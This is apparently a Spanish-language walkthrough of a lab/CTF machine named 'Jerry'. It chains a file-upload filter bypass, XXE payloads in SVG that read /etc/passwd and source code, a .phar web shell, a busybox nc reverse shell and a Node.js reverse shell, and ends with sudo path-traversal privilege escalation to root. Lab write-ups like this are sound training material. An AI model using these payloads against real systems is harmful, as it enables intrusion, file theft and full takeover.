Jerry

Difficulty: Hard

• La IP de la máquina Jerry en mi caso:

Recon

1. Lanzamos un escaneo con Nmap contra el objetivo:

sudo nmap -sCV -p- --open -T5 192.168.56.109

• Puertos identificados:

  • 22 → Servicio SSH

  • 25 → Servicio SMTP

  • 80 → Servicio HTTP

1. Añadimos la IP y el host al archivo /etc/hosts:

1. Visitamos la web desde el navegador:

1. Navegando por la web, encontramos encontramos un formulario que nos permite subir una imagen de perfil:

File Upload

1. Cómo el input es para subir una imagen de perfil, probaremos si podemos subir otro tipo de archivo, por ejemplo un txt :

• Pero el input valida el tipo de archivo y sólo permite imágenes.

1. Analizamos el código para ver como el input filtra que formato de archivos se suben:

• Identificamos la función UploadCheck() y el parámetro accept que sólo permite formatos de imagen.

1. Comprobamos la función UploadCheck para analizar cómo hace la validación del formato:

1. Analizando el código del script, en la parte que printa el mensaje "Only images are allowed", se especifican que extensiones están permitidas y si no son alguna del listado, no se permite la subida del archivo:

• Sólo están permitidas las extensiones jpg, jpeg y png. Por eso no ha permitido la subida del txt.

1. Este filtro, es muy fácil de bypassear. Cómo se ha visto al inspeccionar el código, es accesible desde el front-end. Con eliminar la función del input y volver a hacer Submit del formulario con el archivo subido en el input, se consigue subir el archivo:

• Pero parece que realmente no está subiendo nada, se puede ver en la URL.

1. El siguiente paso será hacer un fuzzing web a ver si hay algún elemento por el que seguir avanzando:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://jerry.nyx/request/FUZZ.php -c

• 3 archivos php identificados:

  • index → La pantalla del formulario.

  • submit → Envía el formulario al hacer click en “Submit”.

  • upload → Sube el archivo adjunto al formulario.

1. Se crea una shell.php:

1. Para la subida de shell.php se redirige el tráfico a través de Burp y se elimina la función de filtrado como se ha hecho anteriormente:

• Al eliminar la función de filtrado del front-end, se puede hacer click en el botón de subida del archivo y capturar la request POST a upload.php.

1. Al enviarla desde el Repeater, la extensión es identificada y no permite la subida:

• En el back-end de la web debe de haber otra función de blacklist que no permite las extensiones php.

Extension Fuzzing

1. El siguiente paso es fuzzear extensiones para intentar evitar la blacklist de extensiones que debe de haber en el back-end de la web, para ello, se envía la request de subida del archivo al Intruder:

• Se selecciona la parte de la extensión, que es sobre se hará el fuzzing:

• Se carga una la lista de extensiones que se utilizará en el fuzzing, en el menú de la derecha del Intruder de Burp:

* Recomendación: Descargar el github de PayloadAllTheThings

git clone https://github.com/swisskyrepo/PayloadsAllTheThings

• Importante: Desactivar el URL encode, porque sino encodeará las extensiones y no dará resultado:

• En Settings, añadir el mensaje “Extension not allowed” para que filtre las respuestas que da el servidor:

• Se inicia el ataque:

1. Al finalizar el ataque, ordenar por la columna en la que está aplicada la regex del “Extension not allowed” y aparecen las extensiones que no están blacklisteadas y permiten la subida del fichero:

File Upload into XXE

1. Ahora que conocemos las extensiones válidas, vamos a usarlo en la explotación. Para ello, descargamos una imagen svg:

1. Repetimos en el formulario la eliminación de la función de validación:

1. Redirigimos el tráfico a Burp e interceptamos la request para enviarla al Repeater:

1. Con la request de subida de la imagen svg en el Repeater, probaremos con el siguiente payload a ver si podemos mostrar archivos del sistema objetivo:

<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>

• Esto sucede porque las imágenes SVG contienen código XML, que nos permite la ejecución de código en la máquina objetivo.

• Usuarios identificados:

  • kramer

  • jerry

  • elaine

1. Podemos visualizar archivos del sistema, pero también mostrar el código de archivos como tal. Al hacer el fuzzing hemos identificado upload.php, que por lo que hemos ido avanzando en la máquina, es el archivo que hace la subida del archivo adjunto desde el formulario al server. Utilizaremos el siguiente payload para mostrar su código fuente y entender el funcionamiento de subida:

<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>

• El código del archivo viene encodeado en base64, así que lo decodeamos:

echo -n “código_upload.php_base64” | base64 -d

• Ahora el código es legible. Se puede ver en que directorio se sube el archivo del formulario, cómo lo renombra, la blacklist, etc.

RCE

1. Ahora recuperaremos la request de subida de la shell.php. En la blacklist del código decodeado aparecen las extensiones que están bloqueadas, pero una de las que hemos identificado con el Intruder si que nos funcionaría. En la request, cambiamos la extensión de shell.php a shell.phar y la enviamos de nuevo desde el Repeater:

• Esta vez el archivo se sube de forma correcta.

1. Cómo hemos identificado anteriormente, el archivo subido cambia de nombre (añadiendo la fecha actual, en un formato específico) y se sube al directorio job_request_files, así que accedemos a la ruta desde el navegador, añadiendo un comando para su ejecución desde el cmd que incluye el archivo .phar:

http://jerry.nyx/request/job_request_files/25-09-22_shell.phar?cmd=id

• Conseguimos la ejecución de código remoto en la máquina víctima.

Reverse Shell

1. Vamos a ejecutar una reverse shell contra nuestra máquina atacante, para que nos sea más cómodo operar en los siguientes pasos:

http://jerry.nyx/request/job_request_files/24-09-23_shell.phar?cmd=busybox nc 192.168.56.101 1234 -e sh

• Previamente se deja una consola a la escucha:

nc -vnlp 1234

• Recibimos la conexión al acceder a la URL anterior:

1. Listamos el contenido de la carpeta en la que nos encontramos:

• Se pueden ver varios archivos que he subido de prueba, los del ataque del Intruder, además del index.php.

Privilege Escalation

1. Listamos los usuarios disponibles desde el directorio /home/

1. Uno de los puertos abiertos es el 25 (SMTP), lo que quiere decir que hay un servicio de mail. Para visualizar los mails enviados por los usuarios, iremos al directorio /var/mail:

• No tenemos permisos sobre estos directorios porque peretenecen a los usuarios.

1. Vamos a realizar enumeración de archivos sobre los que tengamos permisos de escritura:

find / -writable 2>/dev/null | grep -v -i -E 'proc|run|sys|dev'

Payload obtenido del blog de J4ckie0x17: https://j4ckie0x17.gitbook.io/notes-pentesting/escalada-de-privilegios/linux#encontrar-carpetas-archivos-que-podemos-escribir

• Pero no hay nada interesante.

1. Navegando por las carpetas de la raíz, identificamos contenido útil en el directorio /opt:

1. Dentro del directorio scripts está el archivo backup.js, leyendo su código se puede ver que en la carpeta backups_mail se están creando archivos comprimidos en ZIP.

• Listamos el contenido de backups_mail, y tenemos permisos de lectura:

1. Descargamos los archivos comprimidos a nuestra máquina atacante para leerlos:

• Levantamos un servidor PHP en la máquina víctima:

php -S 0.0.0.0:8080

• Desde la máquina atacante, descargamos los archivos:

wget 192.168.56.109:8080/archivo_backup.zip

• Descomprensión de los archivos ya en la máquina atacante:

unzip archivo_backup.zip

1. Investigamos el contenido de los mails, que son conversaciones entre los usuarios, y encontramos una posible contraseña:

1. Probamos el acceso por SSH con el usuario elaine y la contraseña que acabamos de encontrar:

• La contraseña es correcta y se consigue la conexión por SSH con el usuario elaine.

1. Buscamos sobre que tiene permisos de ejecución sin contraseña el usuario elaine:

• Tiene permisos de ejecución sobre los .js dentro de /opt/scripts/, así que el script de backups que hemos identificado anteriormente, se puede ejecutar desde el usuario elaine.

1. Al tener permisos de root sobre /opt/scripts/*.js la forma de avanzar sería creando una reverse shell con javascript y ejecutarla indirectamente de la siguiente manera:

• reverse_shell.js:

(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(4444, "192.168.56.101", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();

• La creamos dentro del directorio tmp:

• Ponemos una consola a la escucha:

nc -vnlp 4444

• La ejecutaremos a través de la ruta de la que elaine tiene permitida la ejecución como sudo:

sudo /usr/bin/node /opt/scripts/*.js/../../../../../../tmp/reverse_shell.js

• Recibimos la conexión como root en la consola a la escucha:

Flags

Flag user

• La flag user.txt se encuentra en el directorio del usuario elaine:

Flag root

• La flag root.txt se encuentra en el directorio del usuario root: